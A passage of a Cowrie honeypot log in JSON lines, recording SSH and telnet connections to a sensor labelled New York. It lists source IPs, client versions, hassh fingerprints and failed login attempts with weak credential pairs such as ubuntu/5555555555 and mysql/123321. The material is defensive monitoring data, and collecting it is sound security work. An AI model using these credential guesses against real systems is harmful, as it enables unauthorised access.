es128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:11:29.251426Z","src_ip":"103.228.69.212","session":"689b7f1752fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"5555555555","message":"login attempt [ubuntu/5555555555] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:11:30.190066Z","src_ip":"103.228.69.212","session":"689b7f1752fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":35252,"dst_ip":"159.203.135.109","dst_port":22,"session":"6a7568ef6361","protocol":"ssh","message":"New connection: 159.203.92.129:35252 (159.203.135.109:22) [session: 6a7568ef6361]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:11:30.520938Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:11:30.529057Z","src_ip":"159.203.92.129","session":"6a7568ef6361","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:11:30.533642Z","src_ip":"159.203.92.129","session":"6a7568ef6361","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aoqian","password":"123","message":"login attempt [aoqian/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:11:30.546132Z","src_ip":"159.203.92.129","session":"6a7568ef6361","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:11:31.419929Z","src_ip":"103.228.69.212","session":"689b7f1752fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:11:31.552623Z","src_ip":"159.203.92.129","session":"6a7568ef6361","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.79.142.221","src_port":34828,"dst_ip":"10.17.0.5","dst_port":22,"session":"1321fd16a5b2","protocol":"ssh","message":"New connection: 210.79.142.221:34828 (10.17.0.5:22) [session: 1321fd16a5b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:12:06.274181Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:12:06.279485Z","src_ip":"210.79.142.221","session":"1321fd16a5b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:12:06.525161Z","src_ip":"210.79.142.221","session":"1321fd16a5b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"123456789","message":"login attempt [ftpuser/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:12:07.534796Z","src_ip":"210.79.142.221","session":"1321fd16a5b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:12:08.783831Z","src_ip":"210.79.142.221","session":"1321fd16a5b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":36842,"dst_ip":"159.203.135.109","dst_port":22,"session":"fe7db96282d7","protocol":"ssh","message":"New connection: 159.203.92.129:36842 (159.203.135.109:22) [session: fe7db96282d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:12:16.045556Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:12:16.050884Z","src_ip":"159.203.92.129","session":"fe7db96282d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:12:16.055606Z","src_ip":"159.203.92.129","session":"fe7db96282d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aoqian","password":"123456","message":"login attempt [aoqian/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:12:16.072906Z","src_ip":"159.203.92.129","session":"fe7db96282d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:12:17.078989Z","src_ip":"159.203.92.129","session":"fe7db96282d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":32830,"dst_ip":"159.203.135.109","dst_port":22,"session":"12e51e2fdb20","protocol":"ssh","message":"New connection: 103.228.69.212:32830 (159.203.135.109:22) [session: 12e51e2fdb20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:12:25.117555Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:12:25.122593Z","src_ip":"103.228.69.212","session":"12e51e2fdb20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:12:25.367578Z","src_ip":"103.228.69.212","session":"12e51e2fdb20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"123321","message":"login attempt [mysql/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:12:26.383700Z","src_ip":"103.228.69.212","session":"12e51e2fdb20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:12:27.630183Z","src_ip":"103.228.69.212","session":"12e51e2fdb20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00087690353394,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:12:30.988611Z","src_ip":"154.110.11.213","session":"6131649f36d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.203.183.35","src_port":50116,"dst_ip":"159.203.135.109","dst_port":22,"session":"55409793fc83","protocol":"ssh","message":"New connection: 2.203.183.35:50116 (159.203.135.109:22) [session: 55409793fc83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:12:49.464817Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:12:49.468839Z","src_ip":"2.203.183.35","session":"55409793fc83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:12:49.571403Z","src_ip":"2.203.183.35","session":"55409793fc83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sftp","password":"sftp","message":"login attempt [sftp/sftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:12:50.014088Z","src_ip":"2.203.183.35","session":"55409793fc83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:12:51.118782Z","src_ip":"2.203.183.35","session":"55409793fc83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":47920,"dst_ip":"159.203.135.109","dst_port":22,"session":"9d112ea913bd","protocol":"ssh","message":"New connection: 159.203.92.129:47920 (159.203.135.109:22) [session: 9d112ea913bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:13:01.319118Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:13:01.324488Z","src_ip":"159.203.92.129","session":"9d112ea913bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:13:01.330034Z","src_ip":"159.203.92.129","session":"9d112ea913bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aoqian","password":"aoqian","message":"login attempt [aoqian/aoqian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:13:01.343380Z","src_ip":"159.203.92.129","session":"9d112ea913bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":37694,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ceba062dd2f","protocol":"telnet","message":"New connection: 185.26.126.47:37694 (159.203.135.109:23) [session: 2ceba062dd2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:13:01.960139Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:13:02.351258Z","src_ip":"159.203.92.129","session":"9d112ea913bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":39144,"dst_ip":"10.17.0.5","dst_port":22,"session":"f797b9812a92","protocol":"ssh","message":"New connection: 194.59.206.2:39144 (10.17.0.5:22) [session: f797b9812a92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:13:19.634822Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:13:19.638155Z","src_ip":"194.59.206.2","session":"f797b9812a92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:13:19.727391Z","src_ip":"194.59.206.2","session":"f797b9812a92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:13:19.820933Z","src_ip":"194.59.206.2","session":"f797b9812a92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":49682,"dst_ip":"159.203.135.109","dst_port":22,"session":"0f23d1522346","protocol":"ssh","message":"New connection: 103.228.69.212:49682 (159.203.135.109:22) [session: 0f23d1522346]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:13:23.603736Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:13:23.609930Z","src_ip":"103.228.69.212","session":"0f23d1522346","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@opens